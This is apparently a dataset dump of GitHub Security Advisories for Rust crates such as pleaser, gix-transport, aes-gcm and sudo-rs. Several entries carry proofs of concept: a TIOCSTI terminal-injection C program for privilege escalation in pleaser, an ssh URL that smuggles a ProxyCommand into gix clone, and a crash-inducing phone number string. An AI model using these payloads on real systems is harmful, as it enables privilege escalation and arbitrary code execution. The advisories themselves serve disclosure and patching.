deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-cgf8-h3fp-h956
Package: pleaser (RUST)
Severity: HIGH (CVSS 7.8)
CWE: CWE-269: Improper Privilege Management
Vulnerable versions: <= 0.5.4
Patched in: unpatched

Summary: Pleaser privilege escalation vulnerability

Details:
please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

```
$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody
```

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.
GitHub Security Advisory: GHSA-r344-xw3p-2frj
Package: apollo-router (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-703: Improper Check or Handling of Exceptional Conditions, CWE-754: Improper Check for Unusual or Exceptional Conditions
Vulnerable versions: >= 1.31.0, < 1.33.0
Patched in: 1.33.0

Summary: Apollo Router vulnerable to Improper Check or Handling of Exceptional Conditions

Details:
### Impact
The Apollo Router is a configurable, high-performance graph router written in Rust to run a federated supergraph that uses Apollo Federation. Affected versions are subject to a Denial-of-Service (DoS) type vulnerability which causes the Router to panic and terminate when a multi-part response is sent. When users send queries to the router that uses the `@defer` or Subscriptions, the Router will panic.
 
To be vulnerable, users of Router must have a coprocessor with `coprocessor.supergraph.response` configured in their `router.yaml` and also to support either `@defer` or Subscriptions.  

### Patches
Router version 1.33.0 has a fix for this vulnerability. https://github.com/apollographql/router/pull/4014 fixes the issue.  

### Workarounds
For affected versions, avoid using the coprocessor supergraph response:
```yml
# do not use this stage in your coprocessor configuration
coprocessor:
  supergraph:
    response:
``` 

Or you can disable defer and subscriptions support:
```yml
# disable defer and subscriptions:
supergraph:
  defer_support: false # enabled by default
subscription:
  enabled: false # disabled by default
```
and continue to use the coprocessor supergraph response.
### References
https://github.com/apollographql/router/issues/4013
GitHub Security Advisory: GHSA-mp6f-p9gp-vpj9
Package: sized-chunks (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-129: Improper Validation of Array Index
Vulnerable versions: < 0.6.3
Patched in: 0.6.3

Summary: Array size is not checked in sized-chunks

Details:
An issue was discovered in the sized-chunks crate through 0.6.2 for Rust. In the Chunk implementation, the array size is not checked when constructed with pair().
GitHub Security Advisory: GHSA-j7hp-h8jx-5ppr
Package: webp (RUST)
Severity: HIGH (CVSS 8.8)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 0.2.6
Patched in: 0.2.6

Summary: libwebp: OOB write in BuildHuffmanTable

Details:
Heap buffer overflow in libwebp allow a remote attacker to perform an out of bounds memory write via a crafted HTML page.
GitHub Security Advisory: GHSA-55m5-whcv-c49c
Package: smallvec (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-908: Use of Uninitialized Resource
Vulnerable versions: < 0.6.13
Patched in: 0.6.13

Summary: Use of Uninitialized Resource in smallvec

Details:
Affected versions of this crate called mem::uninitialized() to create values of a user-supplied type T. This is unsound e.g. if T is a reference type (which must be non-null and thus may not remain uninitialized). The flaw was corrected by avoiding the use of mem::uninitialized(), using MaybeUninit instead.
GitHub Security Advisory: GHSA-8qv2-5vq6-g2g7
Package: webpki (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: <= 0.22.1
Patched in: 0.22.2

Summary: webpki: CPU denial of service in certificate path building

Details:
When this crate is given a pathological certificate chain to validate, it will spend CPU time exponential with the number of candidate certificates at each step of path building.

Both TLS clients and TLS servers that accept client certificate are affected.

This was previously reported in https://github.com/briansmith/webpki/issues/69.

`rustls-webpki` is a fork of this crate which contains a fix for this issue and is actively maintained.
GitHub Security Advisory: GHSA-4cww-f7w5-x525
Package: trust-dns-server (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 0.16.0, < 0.18.1
Patched in: 0.18.1

Summary: Stack consumption in trust-dns-server

Details:
There's a stack overflow leading to a crash and potential DOS when processing additional records for return of MX or SRV record types from the server. This is only possible when a zone is configured with a null target for MX or SRV records. Prior to 0.16.0 the additional record processing was not supported by trust-dns-server. There Are no known issues with upgrading from 0.16 or 0.17 to 0.18.1. The remidy should be to upgrade to 0.18.1. If unable to do so, MX, SRV or other record types with a target to the null type, should be avoided.
GitHub Security Advisory: GHSA-5rrv-m36h-qwf8
Package: chttp (RUST)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-416: Use After Free
Vulnerable versions: >= 0.1.1, < 0.1.3
Patched in: 0.1.3

Summary: Use-after-free in chttp

Details:
The From implementation for Vec was not properly implemented, returning a vector backed by freed memory. This could lead to memory corruption or be exploited to cause undefined behavior.

A fix was published in version 0.1.3.
GitHub Security Advisory: GHSA-fjx5-qpf4-xjf2
Package: borsh (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: <= 0.10.3
Patched in: 1.0.0-alpha.1

Summary: Parsing borsh messages with ZST which are not-copy/clone is unsound

Details:
Affected versions of borsh cause undefined behavior when zero-sized-types (ZST) are parsed and the Copy/Clone traits are not implemented/derived. For instance if 1000 instances of a ZST are deserialized, and the ZST is not copy (this can be achieved through a singleton), then accessing/writing to deserialized data will cause a segmentation fault.

There is currently no way for borsh to read data without also providing a Rust type. Therefore, if you are not using ZST for serialization, then you are not affected by this issue.
GitHub Security Advisory: GHSA-423w-p2w9-r7vq
Package: aes-gcm (RUST)
Severity: MODERATE (CVSS 4.7)
CWE: CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: >= 0.10.0, <= 0.10.2
Patched in: 0.10.3

Summary: AEADs/aes-gcm: Plaintext exposed in decrypt_in_place_detached even on tag verification failure

Details:
### Summary
In the AES GCM implementation of decrypt_in_place_detached, the decrypted ciphertext (i.e. the correct plaintext) is exposed even if tag verification fails. 

### Impact
If a program using the `aes-gcm` crate's `decrypt_in_place*` APIs accesses the buffer after decryption failure, it will contain a decryption of an unauthenticated input. Depending on the specific nature of the program this may enable Chosen Ciphertext Attacks (CCAs) which can cause a catastrophic breakage of the cipher including full plaintext recovery.

### Details
As seen in the implementation of [decrypt_in_place_detached](https://docs.rs/aes-gcm/latest/src/aes_gcm/lib.rs.html#309) for AES GCM, if the tag verification fails, an error is returned. Because the decryption of the ciphertext is done in place, the plaintext contents are now exposed via `buffer`. 

This should ideally not be the case - as noted in page 17 of[ NIST's publication _Recommendation for Block Cipher Modes of Operation: Galois/Counter Mode (GCM) and GMAC_](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38d.pdf): 
_In Step 8, the result of Step 7 is compared with the authentication tag that was received as an input: if they are identical, then the plaintext is returned; otherwise,FAIL is returned._

This is seems correctly addressed in the [AES GCM SIV implementation](https://docs.rs/aes-gcm-siv/latest/src/aes_gcm_siv/lib.rs.html#307), where the decrypted buffer is encrypted again before the error is returned - this fix is straightforward to implement in AES GCM. To ensure that these types of cases are covered during testing, it would be valuable to add test cases like [23, 24 ](https://github.com/google/wycheproof/blob/master/testvectors/aes_gcm_test.json#L288)etc from [project wycheproof ](https://github.com/google/wycheproof)to ensure that when a bad tag is used, there is an error on decryption _**and**_ that the plaintext value is not exposed. 

### PoC
To reproduce this issue, I'm using [test case 23](https://github.com/google/wycheproof/blob/master/testvectors/aes_gcm_test.json#L288) from project wycheproof. 
```rust
    let key = GenericArray::from_slice(&hex!("[PII_REDACTED][PII_REDACTED]0a0b0c0d0e0f"));
    let nonce = GenericArray::from_slice(&hex!("[PII_REDACTED][PII_REDACTED]5a5b"));
    let tag = GenericArray::from_slice(&hex!("d9847dbc326a06e988c77ad3863e6083")); // bad tag
    let mut ct = hex!("eb156d081ed6b6b55f4612f021d87b39");
    let msg = hex!("[PII_REDACTED][PII_REDACTED]2a2b2c2d2e2f");
    let aad = hex!("");
    let cipher = Aes128Gcm::new(&key);
    let _plaintext = cipher.decrypt_in_place_detached(&nonce, &aad, &mut ct, &tag);
    assert_eq!(ct, msg);
```
GitHub Security Advisory: GHSA-rrjw-j4m2-mf34
Package: gix-transport (RUST)
Severity: MODERATE (CVSS 4.1)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Vulnerable versions: < 0.36.1
Patched in: 0.36.1

Summary: gix-transport code execution vulnerability

Details:
The `gix-transport` crate prior to the patched version 0.36.1 would allow attackers to use malicious ssh clone URLs to pass arbitrary arguments to the `ssh` program, leading to arbitrary code execution.

PoC: `gix clone 'ssh://-oProxyCommand=open$IFS-aCalculator/foo'`

This will launch a calculator on OSX.

See https://secure.phabricator.com/T12961 for more details on similar vulnerabilities in `git`.

Thanks for [vin01](https://github.com/vin01) for disclosing this issue.
GitHub Security Advisory: GHSA-9mcr-873m-xcxp
Package: tungstenite (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: <= 0.20.0
Patched in: 0.20.1

Summary: Tungstenite allows remote attackers to cause a denial of service

Details:
The Tungstenite crate through 0.20.0 for Rust allows remote attackers to cause a denial of service (minutes of CPU consumption) via an excessive length of an HTTP header in a client handshake. The length affects both how many times a parse is attempted (e.g., thousands of times) and the average amount of data for each parse attempt (e.g., millions of bytes).
GitHub Security Advisory: GHSA-q8wc-j5m9-27w3
Package: quinn-proto (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: < 0.9.5
Patched in: 0.9.5

Summary: Denial of Service issue in quinn-proto

Details:
### Impact

Receiving unknown QUIC frames in a QUIC packet could result in a panic.

### Patches

The problem has been fixed in 0.9.5 and 0.10.5 maintenance releases.

### References

Fixed in https://github.com/quinn-rs/quinn/pull/1667, backported in https://github.com/quinn-rs/quinn/pull/1668 and https://github.com/quinn-rs/quinn/pull/1669.
GitHub Security Advisory: GHSA-whhr-7f2w-qqj2
Package: phonenumber (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-248: Uncaught Exception, CWE-392: Missing Report of Error Condition, CWE-1284: Improper Validation of Specified Quantity in Input
Vulnerable versions: >= 0.3.0, < 0.3.3
Patched in: 0.3.3

Summary: phonenumber panics on parsing crafted RFC3966 inputs

Details:
### Impact
The phonenumber parsing code may panic due to a panic-guarded out-of-bounds access on the phonenumber string.

In a typical deployment of `rust-phonenumber`, this may get triggered by feeding a maliciously crafted phonenumber over the network, specifically the string `.;phone-context=`.

### Patches
Patches will be published as version `0.3.3+8.13.9` and backported as `0.2.5+8.11.3`.

### Workarounds
n.a.

### References
n.a.
GitHub Security Advisory: GHSA-whhr-7f2w-qqj2
Package: phonenumber (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-248: Uncaught Exception, CWE-392: Missing Report of Error Condition, CWE-1284: Improper Validation of Specified Quantity in Input
Vulnerable versions: < 0.2.5
Patched in: 0.2.5

Summary: phonenumber panics on parsing crafted RFC3966 inputs

Details:
### Impact
The phonenumber parsing code may panic due to a panic-guarded out-of-bounds access on the phonenumber string.

In a typical deployment of `rust-phonenumber`, this may get triggered by feeding a maliciously crafted phonenumber over the network, specifically the string `.;phone-context=`.

### Patches
Patches will be published as version `0.3.3+8.13.9` and backported as `0.2.5+8.11.3`.

### Workarounds
n.a.

### References
n.a.
GitHub Security Advisory: GHSA-cxvp-82cq-57h2
Package: blurhash (RUST)
Severity: HIGH (CVSS 8.6)
CWE: CWE-392: Missing Report of Error Condition, CWE-1284: Improper Validation of Specified Quantity in Input
Vulnerable versions: = 0.1.1
Patched in: 0.2.0

Summary: blurhash panics on parsing crafted inputs

Details:
### Impact
The blurhash parsing code may panic due to multiple panic-guarded out-of-bounds accesses on untrusted input.

In a typical deployment, this may get triggered by feeding a maliciously crafted blurhashes over the network. These may include:
- UTF-8 compliant strings containing multi-byte UTF-8 characters

### Patches
The patches will be released under version 0.2.0, which requires user intervention because of slight API churn.

### Workarounds
n.a.

### References
n.a.
GitHub Security Advisory: GHSA-v5wf-jg37-r9m5
Package: sqlpage (RUST)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 0.11.1
Patched in: 0.11.1

Summary: SQLpage vulnerable to public exposure of database credentials

Details:
### Impact

If
 - you are using a SQLPage version older than v0.11.1 
 - your SQLPage instance is exposed publicly
 - the database connection string is specified in the `sqlpage/sqlpage.json` configuration file (not in an environment variable)
 - the web_root is the current working directory (the default)
 - your database is exposed publicly

then an attacker could retrieve the database connection information from SQLPage and use it to connect to your database directly.

### Patches

Upgrade to [v0.11.1](https://github.com/lovasoa/SQLpage/releases/tag/v0.11.1) as soon as possible.

### Workarounds

If you cannot upgrade immediately:

 - Using an environment variable instead of the configuration file to specify the database connection string prevents exposing it on vulnerable versions.
 - Using a different [web root](https://github.com/lovasoa/SQLpage/blob/main/configuration.md) (that is not a parent of the SQLPage configuration directory) fixes the issue.
 - And in any case, you should generally avoid exposing your database publicly 

### References

https://github.com/lovasoa/SQLpage/issues/89
GitHub Security Advisory: GHSA-2r3c-m6v7-9354
Package: sudo-rs (RUST)
Severity: LOW (CVSS 3.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-23: Relative Path Traversal
Vulnerable versions: <= 0.2.0
Patched in: 0.2.1

Summary: sudo-rs Session File Relative Path Traversal vulnerability

Details:
### Background

Sudo-rs allows users to not have to enter authentication at every sudo attempt, but instead only requiring authentication every once in a while in every terminal or process group. Only once a configurable timeout has passed will the user have to re-authenticate themselves. Supporting this functionality is a set of session files (timestamps) for each user, stored in `/var/run/sudo-rs/ts`. These files are named according to the username from which the sudo attempt is made (the origin user).

### Impact

An issue was discovered where usernames containing the `.` and `/` characters could result in the corruption of specific files on the filesystem. As usernames are generally not limited by the characters they can contain, a username appearing to be a relative path can be constructed. For example we could add a user to the system containing the username `../../../../bin/cp`. When logged in as a user with that name, that user could run `sudo -K` to clear their session record file. The session code then constructs the path to the session file by concatenating the username to the session file storage directory, resulting in a resolved path of `/bin/cp`. The code then clears that file, resulting in the `cp` binary effectively being removed from the system.

An attacker needs to be able to login as a user with a constructed username. Given that such a username is unlikely to exist on an existing system, they will also need to be able to create the users with the constructed usernames.

### Patches
The bug is fixed in version 0.2.1 of sudo-rs. Sudo-rs now uses the uid for the user instead of their username for determining the filename. Note that an upgrade to this version will result in existing session files being ignored and users will be forced to re-authenticate. It also fully eliminates any possibility of path traversal, given that uids are always integer values.

### Workarounds
The `sudo -K` and `sudo -k` commands can run, even if a user has no sudo access. Make sure that your system does not contain any users with a specially crafted username. While this is the case and while untrusted users do not have the ability to create arbitrary users on your system you should not be able to exploit this issue.

### References
This issue was identified by Andrea Jegher from Radically Open Security during an audit of the sudo-rs code. The same problem existed in original sudo and was fixed in version 1.9.15.
GitHub Security Advisory: GHSA-h45v-vgvp-3h5v
Package: stack (RUST)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 0.3.1
Patched in: 0.3.1

Summary: Out-of-bounds write in stack

Details:
ArrayVec::insert allows insertion of an element into the array object into the specified index. Due to a missing check on the upperbound of this index, it is possible to write out of bounds.
GitHub Security Advisory: GHSA-43w2-9j62-hq99
Package: smallvec (RUST)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: >= 1.0.0, < 1.6.1
Patched in: 1.6.1

Summary: Buffer overflow in SmallVec::insert_many

Details:
A bug in the SmallVec::insert_many method caused it to allocate a buffer that was smaller than needed. It then wrote past the end of the buffer, causing a buffer overflow and memory corruption on the heap. This bug was only triggered if the iterator passed to insert_many yielded more items than the lower bound returned from its size_hint method.

The flaw was corrected in smallvec 0.6.14 and 1.6.1, by ensuring that additional space is always reserved for each item inserted. The fix also simplified the implementation of insert_many to use less unsafe code, so it is easier to verify its correctness.
GitHub Security Advisory: GHSA-43w2-9j62-hq99
Package: smallvec (RUST)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: >= 0.6.3, < 0.6.14
Patched in: 0.6.14

Summary: Buffer overflow in SmallVec::insert_many

Details:
A bug in the SmallVec::insert_many method caused it to allocate a buffer that was smaller than needed. It then wrote past the end of the buffer, causing a buffer overflow and memory corruption on the heap. This bug was only triggered if the iterator passed to insert_many yielded more items than the lower bound returned from its size_hint method.

The flaw was corrected in smallvec 0.6.14 and 1.6.1, by ensuring that additional space is always reserved for each item inserted. The fix also simplified the implementation of insert_many to use less unsafe code, so it is easier to verify its correctness.
GitHub Security Advisory: GHSA-2vx6-fcw6-hpr6
Package: pyo3 (RUST)
Severity: MODERATE (CVSS 5.5)
CWE: CWE-416: Use After Free
Vulnerable versions: >= 0.12.0, < 0.12.4
Patched in: 0.12.4

Summary: Reference counting error in pyo3

Details:
An issue was discovered in the pyo3 crate before 0.12.4 for Rust. There is a reference-counting error and use-after-free in From<Py<T>>.
GitHub Security Advisory: GHSA-j7hp-h8jx-5ppr
Package: libwebp-sys (RUST)
Severity: HIGH (CVSS 8.8)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 0.9.3
Patched in: 0.9.3

Summary: libwebp: OOB write in BuildHuffmanTable

Details:
Heap buffer overflow in libwebp allow a remote attacker to perform an out of bounds memory write via a crafted HTML page.
GitHub Security Advisory: GHSA-gw5p-q8mj-p7gh
Package: wasmtime (RUST)
Severity: LOW (CVSS 2.2)
CWE: CWE-193: Off-by-one Error
Vulnerable versions: >= 12.0.0, < 12.0.2
Patched in: 12.0.2

Summary: Miscompilation of wasm `i64x2.shr_s` instruction with constant input on x86_64

Details:
### Impact

Wasmtime versions from 10.0.0 to 12.0.1 contain a miscompilation of the WebAssembly `i64x2.shr_s` instruction on x86_64 platforms when the shift amount is a constant value that is larger than 32. Only x86_64 is affected so all other targets are not affected by this. The miscompilation results in the instruction producing an incorrect result, namely the low 32-bits of the second lane of the vector are derived from the low 32-bits of the second lane of the input vector instead of the high 32-bits. The primary impact of this issue is that any WebAssembly program using the `i64x2.shr_s` with a constant shift amount larger than 32 may produce an incorrect result.

This issue is not an escape from the WebAssembly sandbox. Execution of WebAssembly guest programs will still behave correctly with respect to memory sandboxing and isolation from the host. Wasmtime considers non-spec-compliant behavior as a security issue nonetheless.

This issue was discovered through fuzzing of Wasmtime's code generator Cranelift.

### Patches

Wasmtime versions 10.0.2, 11.0.2, and 12.0.2 are all patched to no longer have this miscompilation.

### Workarounds

This issue only affects x86_64 hosts and the only workaround is to either scan for this pattern in wasm modules which is nontrivial or to [disable the SIMD proposal for WebAssembly](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.wasm_simd). Users prior to 10.0.0 are unaffected by this vulnerability.

### References

* [PR which introduced this bug to Wasmtime](https://github.com/bytecodealliance/wasmtime/pull/6372)
* [Mailing list announcement](https://groups.google.com/a/bytecodealliance.org/g/sec-announce/c/B8PJgg6bEdg)